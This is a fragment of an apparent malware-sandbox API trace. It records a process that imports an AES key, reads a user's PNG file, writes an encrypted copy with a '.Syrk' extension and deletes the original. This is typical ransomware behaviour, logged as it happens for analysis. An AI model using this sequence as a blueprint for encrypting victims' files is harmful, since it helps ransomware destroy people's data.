(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.709] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.710] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.710] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.710] EtwEventActivityIdControl () returned 0x0 [0190.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.710] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.710] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.710] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.712] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x373568) returned 1 [0190.714] CryptImportKey (in: hProv=0x373568, pbData=0x2320124*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68bc0) returned 1 [0190.714] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.715] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.715] EtwEventActivityIdControl () returned 0x0 [0190.715] EtwEventActivityIdControl () returned 0x0 [0190.715] EtwEventActivityIdControl () returned 0x0 [0190.724] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0190.725] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0190.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.725] EtwEventActivityIdControl () returned 0x0 [0190.726] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.726] EtwEventActivityIdControl () returned 0x0 [0190.726] EtwEventActivityIdControl () returned 0x0 [0190.726] EtwEventActivityIdControl () returned 0x0 [0190.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.731] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0190.731] GetFileType (hFile=0x45c) returned 0x1 [0190.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.731] GetFileType (hFile=0x45c) returned 0x1 [0190.731] EtwEventActivityIdControl () returned 0x0 [0190.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.732] EtwEventActivityIdControl () returned 0x0 [0190.732] EtwEventActivityIdControl () returned 0x0 [0190.732] EtwEventActivityIdControl () returned 0x0 [0190.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0190.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk", lpFilePart=0x0) returned 0x3d [0190.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.733] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0190.738] GetFileType (hFile=0x344) returned 0x1 [0190.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.738] GetFileType (hFile=0x344) returned 0x1 [0190.738] EtwEventActivityIdControl () returned 0x0 [0190.738] CryptGenRandom (in: hProv=0x373568, dwLen=0x10, pbBuffer=0x233229c | out: pbBuffer=0x233229c) returned 1 [0190.739] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.740] CryptDuplicateKey (in: hKey=0x5c68bc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68c00) returned 1 [0190.740] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.740] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x23336f4*=0x1, dwFlags=0x0) returned 1 [0190.740] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x23336c0, dwFlags=0x0) returned 1 [0190.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.741] EtwEventActivityIdControl () returned 0x0 [0190.741] EtwEventActivityIdControl () returned 0x0 [0190.741] EtwEventActivityIdControl () returned 0x0 [0190.742] EtwEventActivityIdControl () returned 0x0 [0190.742] ReadFile (in: hFile=0x45c, lpBuffer=0x233635c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x233635c*, lpNumberOfBytesRead=0x5a2ea0c*=0x3cb4, lpOverlapped=0x0) returned 1 [0190.744] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x234a374*, pdwDataLen=0x5a2ea00*=0x3cb0, dwBufLen=0x3cb0 | out: pbData=0x234a374*, pdwDataLen=0x5a2ea00*=0x3cb0) returned 1 [0190.744] WriteFile (in: hFile=0x344, lpBuffer=0x23323e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23323e4*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0190.745] WriteFile (in: hFile=0x344, lpBuffer=0x234b360*, nNumberOfBytesToWrite=0x2cc4, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x234b360*, lpNumberOfBytesWritten=0x5a2e9e4*=0x2cc4, lpOverlapped=0x0) returned 1 [0190.746] ReadFile (in: hFile=0x45c, lpBuffer=0x233635c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x233635c*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0190.746] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x234e090*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x234e090*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0190.746] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x234e0ac*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x234e0ac*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0190.746] WriteFile (in: hFile=0x344, lpBuffer=0x23323e4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x23323e4*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0190.746] CloseHandle (hObject=0x344) returned 1 [0190.748] CloseHandle (hObject=0x45c) returned 1 [0190.748] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.749] EtwEventActivityIdControl () returned 0x0 [0190.749] EtwEventActivityIdControl () returned 0x0 [0190.749] EtwEventActivityIdControl () returned 0x0 [0190.756] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0190.758] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.758] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.759] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0190.759] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0190.759] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0190.759] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0190.759] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0190.759] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0190.760] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0190.760] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0190.760] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0190.760] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0190.760] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0190.760] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0190.761] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0190.761] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0190.761] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0190.761] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0190.761] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0190.761] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0190.761] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0190.761] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0190.761] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0190.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0190.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.765] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0190.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0190.765] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0190.765] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0190.765] CoTaskMemFree (pv=0x5c632d0) [0190.770] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0190.771] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0190.771] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0190.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0190.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png"), fInfoLevelId=0x0, lpFileInformation=0x235b2fc | out: lpFileInformation=0x235b2fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc060f2f0, ftCreationTime.dwHighDateTime=0x1d998d7, ftLastAccessTime.dwLowDateTime=0xf76c5f80, ftLastAccessTime.dwHighDateTime=0x1d99d66, ftLastWriteTime.dwLowDateTime=0xf76c5f80, ftLastWriteTime.dwHighDateTime=0x1d99d66, nFileSizeHigh=0x0, nFileSizeLow=0x3cb4)) returned 1 [0190.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0190.771] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 1 [0190.773] EtwEventActivityIdControl () returned 0x0 [0190.774] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.774] EtwEventActivityIdControl () returned 0x0 [0190.774] EtwEventActivityIdControl () returned 0x0 [0190.774] EtwEventActivityIdControl () returned 0x0 [0190.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png.syrk")) returned 0x20 [0190.804] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png.syrk")) returned 0x20 [0190.805] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0190.805] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk", lpFilePart=0x0) returned 0x3d [0190.805] EtwEventActivityIdControl () returned 0x0 [0190.805] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.806] EtwEventActivityIdControl () returned 0x0 [0190.806] EtwEventActivityIdControl () returned 0x0 [0190.806] EtwEventActivityIdControl () returned 0x0 [0190.816] EtwEventActivityIdControl () returned 0x0 [0190.816] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.817] EtwEventActivityIdControl () returned 0x0 [0190.817] EtwEventActivityIdControl () returned 0x0 [0190.817] EtwEventActivityIdControl () returned 0x0 [0190.820] EtwEventActivityIdControl () returned 0x0 [0190.821] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.821] EtwEventActivityIdControl () returned 0x0 [0190.821] EtwEventActivityIdControl () returned 0x0 [0190.821] EtwEventActivityIdControl () returned 0x0 [0190.825] EtwEventActivityIdControl () returned 0x0 [0190.826] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.826] EtwEventActivityIdControl () returned 0x0 [0190.826] EtwEventActivityIdControl () returned 0x0 [0190.826] EtwEventActivityIdControl () returned 0x0 [0190.867] EtwEventActivityIdControl () returned 0x0 [0190.867] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.868] EtwEventActivityIdControl () returned 0x0 [0190.868] EtwEventActivityIdControl () returned 0x0 [0190.868] EtwEventActivityIdControl () returned 0x0 [0190.872] EtwEventActivityIdControl () returned 0x0 [0190.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0190.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2366540 | out: lpFileInformation=0x2366540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6f0240, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xee6f0240, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xee7163a0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x3cd4)) returned 1 [0190.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0190.879] GetConsoleOutputCP () returned 0x1b5 [0190.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.879] GetConsoleOutputCP () returned 0x1b5 [0190.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.880] GetConsoleOutputCP () returned 0x1b5 [0190.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.880] GetConsoleOutputCP () returned 0x1b5 [0190.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.881] GetConsoleOutputCP () returned 0x1b5 [0190.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.882] GetConsoleOutputCP () returned 0x1b5 [0190.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.882] GetConsoleOutputCP () returned 0x1b5 [0190.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.883] GetConsoleOutputCP () returned 0x1b5 [0190.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.883] GetConsoleOutputCP () returned 0x1b5 [0190.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.883] GetConsoleOutputCP () returned 0x1b5 [0190.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.884] GetConsoleOutputCP () returned 0x1b5 [0190.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.884] GetConsoleOutputCP () returned 0x1b5 [0190.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.884] GetConsoleOutputCP () returned 0x1b5 [0190.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.885] GetConsoleOutputCP () returned 0x1b5 [0190.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.885] GetConsoleOutputCP () returned 0x1b5 [0190.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.885] GetConsoleOutputCP () returned 0x1b5 [0190.886] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.886] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: 